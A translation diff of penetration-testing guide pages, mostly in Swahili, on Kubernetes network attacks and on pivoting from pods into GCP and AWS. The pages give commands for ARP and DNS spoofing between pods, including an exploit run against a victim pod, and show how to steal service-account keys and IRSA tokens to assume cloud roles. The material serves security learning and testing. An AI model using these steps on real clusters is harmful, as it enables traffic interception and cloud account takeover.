kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
## Networking ya Msingi ya Kubernetes
|
||||
## Basic Kubernetes Networking
|
||||
|
||||
Ikiwa unataka maelezo zaidi kuhusu masuala ya networking yaliyoletwa hapa, nenda kwenye references.
|
||||
Ukihitaji maelezo zaidi kuhusu mada za networking zilizowasilishwa hapa, nenda kwenye references.
|
||||
|
||||
### ARP
|
||||
|
||||
Kwa ujumla, **pod-to-pod networking ndani ya node** inapatikana kupitia **bridge** ambayo inaunganisha pods zote. Bridge hii inaitwa “**cbr0**”. (Baadhi ya network plugins zitaweka bridge yao wenyewe.) **cbr0 pia inaweza kushughulikia ARP** (Address Resolution Protocol) resolution. Wakati packet inayoingia inapofika cbr0, inaweza kutatua destination MAC address kwa kutumia ARP.
|
||||
Kwa ujumla, **pod-to-pod networking ndani ya node** inapatikana kupitia **bridge** inayounganisha pods zote. Bridge hii inaitwa “**cbr0**”. (Baadhi ya network plugins zitaweka bridge yao wenyewe.) **cbr0 pia inaweza kushughulikia ARP** (Address Resolution Protocol) resolution. Wakati packet inayoingia inapowasili kwenye cbr0, inaweza kutatua destination MAC address kwa kutumia ARP.
|
||||
|
||||
Ukweli huu unaashiria kwamba, kwa default, **kila pod inayoendeshwa katika node moja** itaweza **kuwasiliana** na pod nyingine yoyote katika node hiyo hiyo (bila kujali namespace) katika ethernet level (layer 2).
|
||||
Hii inaashiria kwamba, kwa default, **kila pod inayokimbia kwenye node ileile** itaweza **kucommunicate** na pod nyingine yoyote kwenye node ileile (bila kujali namespace) katika kiwango cha ethernet (layer 2).
|
||||
|
||||
> [!WARNING]
|
||||
> Hivyo, inawezekana kufanya A**RP Spoofing attacks kati ya pods katika node moja.**
|
||||
> Kwa hiyo, inawezekana kufanya A**RP Spoofing attacks kati ya pods kwenye node ileile.**
|
||||
|
||||
### NetworkPolicy and admin policy layers
|
||||
|
||||
Kubernetes `NetworkPolicy` ni pod traffic control katika L3/L4, lakini inatekelezwa na CNI plugin na si na API server yenyewe. Cluster inaweza kuhifadhi objects za NetworkPolicy wakati bado inaruhusu traffic ikiwa active CNI haiitekelezi, kwa hiyo kila mara thibitisha kwa kutumia controlled allowed source na blocked negative-control source.
|
||||
|
||||
Usiishie kwenye `kubectl get networkpolicy -A`. Clusters zinazotumia Cilium, Calico, OVN-Kubernetes, Antrea, au managed-provider dataplanes zinaweza pia kuwa na policy APIs kama `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, au `BaselineAdminNetworkPolicy`. Hizi zinaweza kuongeza explicit deny, tier/order, cluster scope, L7/DNS rules, au admin guardrails ambazo kawaida additive Kubernetes NetworkPolicy semantics hazifafanui.
|
||||
|
||||
Useful first checks:
|
||||
```bash
|
||||
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
|
||||
kubectl get networkpolicy -A
|
||||
kubectl get cnp,ccnp -A 2>/dev/null
|
||||
kubectl get globalnetworkpolicy -A 2>/dev/null
|
||||
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
|
||||
```
|
||||
Kwa uchambuzi wa bypass, angalia kama block iliyokusudiwa inaepukwa kupitia allowed proxy, DNS au egress gateway, `hostNetwork` pod, node-local path, broad namespace au pod label selector, au higher-precedence admin/global policy. Ripoti source pod labels, namespace labels, destination Service au EndpointSlice, CNI/policy implementation, deciding policy rule, na traffic proof.
|
||||
|
||||
### DNS
|
||||
|
||||
Katika mazingira ya kubernetes kwa kawaida utakuta huduma 1 (au zaidi) za **DNS zikifanya kazi** mara nyingi katika kube-system namespace:
|
||||
Katika mazingira ya kubernetes kwa kawaida utapata 1 (au zaidi) **DNS services running** kwa kawaida katika namespace ya kube-system:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
@@ -136,30 +152,30 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
Katika taarifa ya awali unaweza kuona kitu cha kuvutia, **IP ya service** ni **10.96.0.10** lakini **IP ya pod** inayoendesha service ni **172.17.0.2.**
|
||||
Katika maelezo ya awali unaweza kuona kitu cha kuvutia, **IP ya service** ni **10.96.0.10** lakini **IP ya pod** inayoendesha service hiyo ni **172.17.0.2.**
|
||||
|
||||
Ukiangalia anwani ya DNS ndani ya pod yoyote utaona kitu kama hiki:
|
||||
Ukikagua anwani ya DNS ndani ya pod yoyote utapata kitu kama hiki:
|
||||
```
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
Hata hivyo, pod **haijui** jinsi ya kufika kwenye hiyo **address** kwa sababu **pod range** katika kesi hii ni 172.17.0.10/26.
|
||||
Hata hivyo, pod **haijui** jinsi ya kufika kwenye **anwani** hiyo kwa sababu **pod range** katika kesi hii ni 172.17.0.10/26.
|
||||
|
||||
Kwa hiyo, pod itatuma **DNS requests to the address 10.96.0.10** ambayo itakuwa **translated** na cbr0 **to** **172.17.0.2**.
|
||||
Kwa hiyo, pod itatuma **DNS requests kwenda kwenye anwani 10.96.0.10** ambayo itakuwa **imetafsiriwa** na cbr0 **kuwa** **172.17.0.2**.
|
||||
|
||||
> [!WARNING]
|
||||
> Hii ina maana kwamba **DNS request** ya pod **daima** itaenda kwenye **bridge** ili **translate** **service IP to the endpoint IP**, hata kama DNS server iko katika subnetwork ileile kama pod.
|
||||
> Hii inamaanisha kuwa **DNS request** ya pod **daima** itaenda kwenye **bridge** ili **kutafsiri** **service IP kwenda endpoint IP**, hata kama DNS server iko kwenye subnetwork ileile kama pod.
|
||||
>
|
||||
> Ukijua hili, na ukijua **ARP attacks are possible**, **pod** ndani ya node itaweza **intercept the traffic** kati ya **each pod** katika **subnetwork** na **bridge** na **modify** **DNS responses** kutoka kwa DNS server (**DNS Spoofing**).
|
||||
> Kwa kujua hilo, na kwa kujua **ARP attacks zinawezekana**, **pod** ndani ya node itaweza **kushika trafiki** kati ya **kila pod** kwenye **subnetwork** na **bridge** na **kubadilisha** **DNS responses** kutoka kwa DNS server (**DNS Spoofing**).
|
||||
>
|
||||
> Zaidi ya hayo, ikiwa **DNS server** iko kwenye **same node as the attacker**, attacker anaweza **intercept all the DNS request** za pod yoyote kwenye cluster (kati ya DNS server na bridge) na kurekebisha responses.
|
||||
> Zaidi ya hayo, ikiwa **DNS server** iko katika **node ileile kama attacker**, attacker anaweza **kushika DNS request zote** za pod yoyote kwenye cluster (kati ya DNS server na bridge) na kubadilisha responses.
|
||||
|
||||
> [!NOTE]
|
||||
> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.
|
||||
> Hakiki CNI inayotumika na njia ya DNS kabla ya kudhani hii inafanya kazi katika cluster ya kweli. Baadhi ya CNIs hupanga au kutenga traffic ya same-node kwa njia tofauti, na clusters zinazotumia NodeLocal DNSCache zinaweza kutuma DNS queries za pod kwenda kwenye node-local address kabla ya kuforward kwenda CoreDNS. Katika mazingira hayo, DNS spoofing inategemea pod placement, packet capabilities, resolver configuration, tabia ya node-local cache, na kama applications huthibitisha peers kwa TLS au utaratibu mwingine wa identity.
|
||||
|
||||
## ARP Spoofing in pods in the same Node
|
||||
|
||||
Lengo letu ni **kuiba angalau communication kutoka ubuntu-victim kwenda mysql**.
|
||||
Lengo letu ni **kuiba angalau mawasiliano kutoka ubuntu-victim kwenda mysql**.
|
||||
|
||||
### Scapy
|
||||
```bash
|
||||
@@ -236,16 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
## DNS Spoofing
|
||||
|
||||
Kama ilivyotajwa tayari, ukiacha **compromise** pod moja kwenye node ileile ya pod ya DNS server, unaweza kufanya **MitM** kwa **ARPSpoofing** dhidi ya **bridge** na pod ya DNS na **kubadilisha majibu yote ya DNS**.
|
||||
Kama ilivyotajwa tayari, ukipata **compromise ya pod kwenye node moja na pod ya DNS server**, unaweza kufanya **MitM** kwa kutumia **ARPSpoofing** dhidi ya **bridge** na pod ya **DNS** na **kurekebisha majibu yote ya DNS**.
|
||||
|
||||
Una **tool** na **tutorial** nzuri sana ya kujaribu hili katika [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
Katika scenario yetu, **download** **tool** hiyo ndani ya attacker pod na unda **file** linaloitwa `hosts` lenye **domains** unazotaka **spoof** kama:
|
||||
Katika scenario yetu, **pakua** **tool** ndani ya attacker pod na uunde **file linaloitwa `hosts`** lenye **domains** unazotaka **spoof** kama:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
```
|
||||
Fanya attack dhidi ya machine ya ubuntu-victim:
|
||||
Tekeleza attack kwenye machine ya ubuntu-victim:
|
||||
```
|
||||
python3 exploit.py --direct 172.17.0.10
|
||||
[*] starting attack on direct mode to pod 172.17.0.10
|
||||
@@ -268,9 +284,9 @@ google.com. 1 IN A 1.1.1.1
|
||||
|
||||
## DNS Spoofing via coreDNS configmap
|
||||
|
||||
Mtumiaji mwenye ruhusa za kuandika juu ya configmap `coredns` katika namespace ya kube-system anaweza kurekebisha majibu ya DNS ya cluster.
|
||||
Mtumiaji aliye na ruhusa za kuandika juu ya configmap `coredns` katika namespace `kube-system` anaweza kurekebisha majibu ya DNS ya cluster.
|
||||
|
||||
Pia kagua NodeLocal DNSCache ikiwa imesetwa. Kwa kawaida huendeshwa kama hostNetwork DaemonSet na ina ConfigMap yake, logs, cache, na forwarding path. Mabadiliko ya CoreDNS huenda yasiwe ndio sehemu pekee ambako tabia ya DNS inaweza kuathiriwa au kuonekana.
|
||||
Pia kagua NodeLocal DNSCache ikiwa imewekwa. Kwa kawaida huendeshwa kama hostNetwork DaemonSet na ina ConfigMap yake, logs, cache, na forwarding path yake. Mabadiliko ya CoreDNS huenda yasiwe mahali pekee ambapo tabia ya DNS inaweza kuathiriwa au kuonekana.
|
||||
|
||||
Angalia taarifa zaidi kuhusu shambulio hili katika:
|
||||
|
||||
@@ -280,11 +296,11 @@ abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
|
||||
## Abusing exposed kubernetes management services
|
||||
|
||||
Services kama Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, na Kubernetes dashboard mara nyingi huwekwa wazi ama kwenye internet au ndani ya kubernetes network. Mshambuliaji ambaye ataweza **kupata platform yoyote inayotumika kusimamia kubernetes na kuifikia** anaweza kuitumia vibaya kupata access ya kubernetes API na kufanya actions kama kuunda pods mpya, kurekebisha zilizopo, au hata kuzifuta.
|
||||
Services kama Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, na Kubernetes dashboard mara nyingi huwekwa wazi ama kwa internet au ndani ya kubernetes network. Mshambuliaji anayefaulu **kupata jukwaa lolote linalotumika kusimamia kubernetes na kulifikia** anaweza kulitumia kupata access ya kubernetes API na kufanya actions kama kuunda pods mpya, kurekebisha zilizopo, au hata kuzifuta.
|
||||
|
||||
## Enumerating kubernetes network policies
|
||||
|
||||
Pata **networkpolicies** zilizosetwa:
|
||||
Pata **networkpolicies** zilizosanidiwa:
|
||||
```bash
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
```
|
||||
@@ -296,14 +312,14 @@ Pata **Cillium** network policies:
|
||||
```bash
|
||||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||||
```
|
||||
Pata CRD nyingine zinazohusiana na policy zilizosakinishwa na network plugin yako au security solution:
|
||||
Pata CRDs nyingine zinazohusiana na policy zilizosakinishwa na network plugin yako au security solution:
|
||||
```bash
|
||||
kubectl get crd | grep -i policy
|
||||
```
|
||||
## Kukamata Traffic
|
||||
|
||||
Chombo [**Mizu**](https://github.com/up9inc/mizu) ni **traffic viewer for Kubernetes** rahisi lakini yenye nguvu inayokuwezesha **kuona mawasiliano yote ya API** kati ya microservices ili kukusaidia kutatua na kuchambua regressions.\
|
||||
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
|
||||
Chombo [**Mizu**](https://github.com/up9inc/mizu) ni simple-yet-powerful API **traffic viewer for Kubernetes** inayokuwezesha **kuona mawasiliano yote ya API** kati ya microservices ili kusaidia debug na troubleshoot regressions.\
|
||||
It will install agents katika pods zilizochaguliwa na kukusanya taarifa zao za traffic na kukuonyesha kwenye web server. Hata hivyo, utahitaji high K8s permissions kwa hili (na si very stealthy).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,49 +4,49 @@
|
||||
|
||||
## GCP
|
||||
|
||||
Ikiwa unaendesha k8s cluster ndani ya GCP, pengine utataka baadhi ya application zinazoendesha ndani ya cluster zipate access fulani kwa GCP. Kuna njia 2 za kawaida za kufanya hivyo:
|
||||
If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
|
||||
|
||||
### Mounting GCP-SA keys as secret
|
||||
|
||||
Njia ya kawaida ya kuipa **access application ya kubernetes kwa GCP** ni:
|
||||
A common way to give **access to a kubernetes application to GCP** is to:
|
||||
|
||||
- Create a GCP Service Account
|
||||
- Bind kwenye hiyo permissions unazotaka
|
||||
- Download json key ya SA iliyoundwa
|
||||
- Mount kama secret ndani ya pod
|
||||
- Weka GOOGLE_APPLICATION_CREDENTIALS environment variable ikielekeza kwenye path ambako json iko.
|
||||
- Bind on it the desired permissions
|
||||
- Download a json key of the created SA
|
||||
- Mount it as a secret inside the pod
|
||||
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
|
||||
|
||||
> [!WARNING]
|
||||
> Kwa hiyo, kama **attacker**, ukicompromise container ndani ya pod, unapaswa kuangalia hiyo **env** **variable** na **json** **files** zenye GCP credentials.
|
||||
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
|
||||
|
||||
### Relating GSA json to KSA secret
|
||||
|
||||
Njia ya kuipa GSA access kwenye GKE cluser ni kwa kuzi-bind kwa njia hii:
|
||||
A way to give access to a GSA to a GKE cluser is by binding them in this way:
|
||||
|
||||
- Create a Kubernetes service account katika namespace ile ile kama GKE cluster yako ukitumia command ifuatayo:
|
||||
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
|
||||
```bash
|
||||
kubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
- Tengeneza Kubernetes Secret ambayo ina credentials za GCP service account unayotaka kuipa access kwa GKE cluster. Unaweza kufanya hivi kwa kutumia `gcloud` command-line tool, kama inavyoonyeshwa katika mfano ufuatao:
|
||||
- Tengeneza Kubernetes Secret inayojumuisha credentials za GCP service account unayotaka kuipa access kwenye GKE cluster. Unaweza kufanya hivi kwa kutumia `gcloud` command-line tool, kama inavyoonyeshwa katika mfano ufuatao:
|
||||
```bash
|
||||
gcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
- Bind the Kubernetes Secret kwa Kubernetes service account kwa kutumia amri ifuatayo:
|
||||
- Funga Kubernetes Secret kwa Kubernetes service account ukitumia amri ifuatayo:
|
||||
```bash
|
||||
kubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Katika **hatua ya pili** ilisanidiwa **credentials za GSA kama secret ya KSA**. Kisha, ikiwa unaweza **kusoma secret hiyo** kutoka **ndani** ya **GKE** cluster, unaweza **kuelevate hadi hiyo GCP service account**.
|
||||
> Katika **hatua ya pili** ziliwekwa **credentials za GSA kama secret ya KSA**. Kisha, kama unaweza **kusoma secret hiyo** kutoka **ndani** ya cluster ya **GKE**, unaweza **escalate hadi hiyo GCP service account**.
|
||||
|
||||
### GKE Workload Identity
|
||||
|
||||
Kwa Workload Identity, tunaweza kusanidi[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) ili kutenda kama[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods zinazoendeshwa na Kubernetes service account zitaauthenticate kiotomatiki kama Google service account wakati wa kufikia Google Cloud APIs.
|
||||
Kwa Workload Identity, tunaweza kusanidi a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) ili ifanye kazi kama a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods zinazoendeshwa na Kubernetes service account zitaauthenticate moja kwa moja kama Google service account wakati wa kufikia Google Cloud APIs.
|
||||
|
||||
Mlolongo wa **kwanza wa hatua** wa kuwezesha tabia hii ni **kuwezesha Workload Identity katika GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) na kuunda GCP SA unayotaka k8s i-impersonate.
|
||||
Mlolongo wa **kwanza wa hatua** wa kuwezesha tabia hii ni **kuwezesha Workload Identity katika GCP** ([**hatua**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) na kuunda GCP SA unayotaka k8s iimpersonate.
|
||||
|
||||
- **Enable Workload Identity** kwenye cluster mpya
|
||||
```bash
|
||||
@@ -54,12 +54,12 @@ gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
- **Unda/Sasisha nodepool mpya** (Autopilot clusters hazihitaji hili)
|
||||
- **Unda/Sasisha nodepool mpya** (Autopilot clusters hazihitaji hii)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- Tengeneza **GCP Service Account to impersonate** kutoka K8s yenye ruhusa za GCP:
|
||||
- Unda **GCP Service Account ya ku impersonate** kutoka K8s yenye ruhusa za GCP:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
```
|
||||
- **Unganisha** kwenye **cluster** na **unda** **service account** ya kutumia
|
||||
- **Connect** to the **cluster** and **create** the **service account** to use
|
||||
```bash
|
||||
# Get k8s creds
|
||||
gcloud container clusters get-credentials <cluster_name> --region=us-central1
|
||||
@@ -80,7 +80,7 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
- **Funga GSA na KSA**
|
||||
- **Bind the GSA with the KSA**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
|
||||
--namespace testing \
|
||||
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
|
||||
```
|
||||
- Endesha **pod** na **KSA** na kagua **access** kwa **GSA:**
|
||||
- Endesha **pod** pamoja na **KSA** na kagua **access** kwa **GSA:**
|
||||
```bash
|
||||
# If using Autopilot remove the nodeSelector stuff!
|
||||
echo "apiVersion: v1
|
||||
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
|
||||
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
gcloud auth list
|
||||
```
|
||||
Angalia amri ifuatayo ili kuthibitisha katika hali ya kuhitajika:
|
||||
Angalia command ifuatayo ili authenticate ikiwa inahitajika:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kama mshambulizi ndani ya K8s unapaswa **kutafuta SAs** zenye **`iam.gke.io/gcp-service-account` annotation** kwani hiyo inaashiria kwamba SA inaweza kufikia kitu ndani ya GCP. Chaguo jingine litakuwa kujaribu kutumia vibaya kila KSA ndani ya cluster na kuangalia kama ina access.\
|
||||
> Kutoka GCP ni muhimu kila wakati ku-enumerate bindings na kujua **ni access gani unawapa SAs ndani ya Kubernetes**.
|
||||
> Kama mshambuliaji ndani ya K8s unapaswa **kutafuta SAs** zenye **`iam.gke.io/gcp-service-account` annotation** kwani hiyo inaonyesha kwamba SA inaweza kufikia kitu ndani ya GCP. Chaguo jingine lingekuwa kujaribu kutumia vibaya kila KSA kwenye cluster na kuangalia kama ina access.\
|
||||
> Kutoka GCP ni muhimu kila mara kuenumerate bindings na kujua **ni access gani unawapa SAs ndani ya Kubernetes**.
|
||||
|
||||
Hii ni script ya ku-**iterate** kwa urahisi juu ya **all the pods** definitions **looking** kwa hiyo **annotation**:
|
||||
Hii ni script ya ku-iterate kwa urahisi juu ya **definitions zote za pods** **kutafuta** hiyo **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Njia ya (ya zamani) ya kuwapa Pods IAM Roles ni kutumia [**Kiam**](https://github.com/uswitch/kiam) au [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Kimsingi utahitaji kuendesha **daemonset** ndani ya cluster yako na **aina fulani ya privileged IAM role**. Hii daemonset ndiyo itakayotoa access ya IAM roles kwa pods zinazoihitaji.
|
||||
Njia (ya zamani) ya kuwapa Pods IAM Roles ni kutumia [**Kiam**](https://github.com/uswitch/kiam) au [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Kimsingi utahitaji kuendesha **daemonset** ndani ya cluster yako yenye **aina fulani ya privileged IAM role**. Hii daemonset ndiyo itakayowapa pods zinazoihitaji access kwa IAM roles.
|
||||
|
||||
Kwanza kabisa unahitaji kusanidi **ni roles zipi zinaweza kufikiwa ndani ya namespace**, na unafanya hivyo kwa annotation ndani ya object ya namespace:
|
||||
Kwanza kabisa unahitaji kusanidi **ni roles zipi zinaweza kufikiwa ndani ya namespace**, na unafanya hivyo kwa kutumia annotation ndani ya object ya namespace:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
Mara namespace inapowekwa na IAM roles ambazo Pods zinaweza kuwa nazo, unaweza **kuonyesha role unayotaka kwenye kila pod definition kwa kitu kama**:
|
||||
Mara tu namespace imekonfiguriwa na IAM roles ambazo Pods zinaweza kuwa nazo, unaweza **kuonyesha role unayotaka kwenye kila pod definition kwa kitu kama**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
@@ -171,12 +171,12 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kama mshambuliaji, ukipata **maelezo haya ya annotation** katika pods au namespaces au server ya kiam/kube2iam ikiendeshwa (huenda katika kube-system) unaweza **kujifanya kila r**ole ambalo tayari **linatumiwa na pods** na zaidi (kama una access kwa AWS account enumerza roles).
|
||||
> Kama mshambuliaji, ikiwa **utapata hizi annotations** kwenye pods au namespaces au server ya kiam/kube2iam inaendeshwa (huenda kwenye kube-system) unaweza **kuiga kila r**ole ambayo tayari **inatumiwa na pods** na zaidi (ikiwa una access ya AWS account, enumerate roles).
|
||||
|
||||
#### Create Pod with IAM Role
|
||||
|
||||
> [!NOTE]
|
||||
> IAM role ya kuonyesha lazima iwe katika AWS account ile ile kama role ya kiam/kube2iam na role hiyo lazima iweze kuipata.
|
||||
> IAM role ya kuashiria lazima iwe kwenye AWS account ile ile kama role ya kiam/kube2iam na role hiyo lazima iweze kuipata.
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -194,12 +194,12 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
```
|
||||
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Hii ni **njia inayopendekezwa na AWS**.
|
||||
Hii ndiyo **njia iliyopendekezwa na AWS**.
|
||||
|
||||
1. Kwanza kabisa unahitaji [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Kisha unatengeneza IAM role yenye permissions ambazo SA itahitaji.
|
||||
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (au namespaces zinazoipa access role kwa SAs zote za namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
|
||||
4. Hatimaye, **create a SA with an annotation indicating the ARN of the role**, na pods zinazoendeshwa na SA hiyo zitakuwa na **access to the token of the role**. **token** hiyo **imeandikwa** ndani ya file na path huainishwa katika **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
2. Kisha una create IAM role yenye permissions ambazo SA itahitaji.
|
||||
3. Create [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (au namespaces zinazotoa access kwa role kwa SAs zote za namespace). _Trust relationship hasa itakagua jina la OIDC provider, jina la namespace na jina la SA_.
|
||||
4. Mwishowe, **create a SA with an annotation indicating the ARN of the role**, na pods zinazofanya kazi na SA hiyo zitakuwa na **access to the token of the role**. **token** hiyo **imeandikwa** ndani ya faili na path imebainishwa kwenye **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
@@ -216,17 +216,17 @@ kubectl apply -f my-service-account.yaml
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
Ili **kupata aws using the token** kutoka `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` endesha:
|
||||
Ili **kupata aws kwa kutumia token** kutoka `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` endesha:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kama mshambuliaji, ukifanikiwa ku-enumerate K8s cluster, angalia **service accounts zenye annotation hiyo** ili **kupanda hadi AWS**. Ili kufanya hivyo, **exec/create** tu **pod** ukitumia moja ya IAM **privileged service accounts** na uibe token.
|
||||
> Kama mshambulizi, ikiwa unaweza kuenumerate K8s cluster, angalia **service accounts zenye hiyo annotation** ili **ku-escalate to AWS**. Ili kufanya hivyo, **exec/create** tu **pod** ukitumia mojawapo ya IAM **privileged service accounts** na uibe token.
|
||||
>
|
||||
> Zaidi ya hayo, ukiwa ndani ya pod, angalia env variables kama **AWS_ROLE_ARN** na **AWS_WEB_IDENTITY_TOKEN.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Wakati mwingine **Turst Policy of a role** inaweza kuwa **bad configured** na badala ya kutoa AssumeRole access kwa service account iliyokusudiwa, huipatia **all the service accounts**. Kwa hiyo, kama unaweza kuandika annotation kwenye controlled service account, unaweza kupata access kwa role.
|
||||
> Wakati mwingine **Turst Policy of a role** inaweza kuwa **imeconfigured vibaya** na badala ya kutoa AssumeRole access kwa expected service account, huipelekea **service accounts zote**. Kwa hiyo, ikiwa una uwezo wa kuandika annotation kwenye controlled service account, unaweza kupata access kwa role.
|
||||
>
|
||||
> Angalia **following page for more information**:
|
||||
|
||||
@@ -234,9 +234,52 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### EKS Pod Identity
|
||||
|
||||
EKS Pod Identity ni njia mpya ya AWS-managed ya kuassociate IAM role na Kubernetes service account bila kutegemea kila workload kuita STS kwa kutumia IRSA web identity token. Cluster huendesha EKS Pod Identity Agent kwenye nodes, EKS API huhifadhi pod identity associations, na AWS SDKs kwenye pods zilizochaguliwa hupata credentials kupitia container credentials provider path inayotolewa na agent.
|
||||
|
||||
Kutoka Kubernetes, ushahidi muhimu bado ni service account na pod relationship, lakini runtime signals ni tofauti na IRSA. Tafuta AWS container credential environment variables ndani ya pods badala ya `AWS_WEB_IDENTITY_TOKEN_FILE` pekee:
|
||||
```bash
|
||||
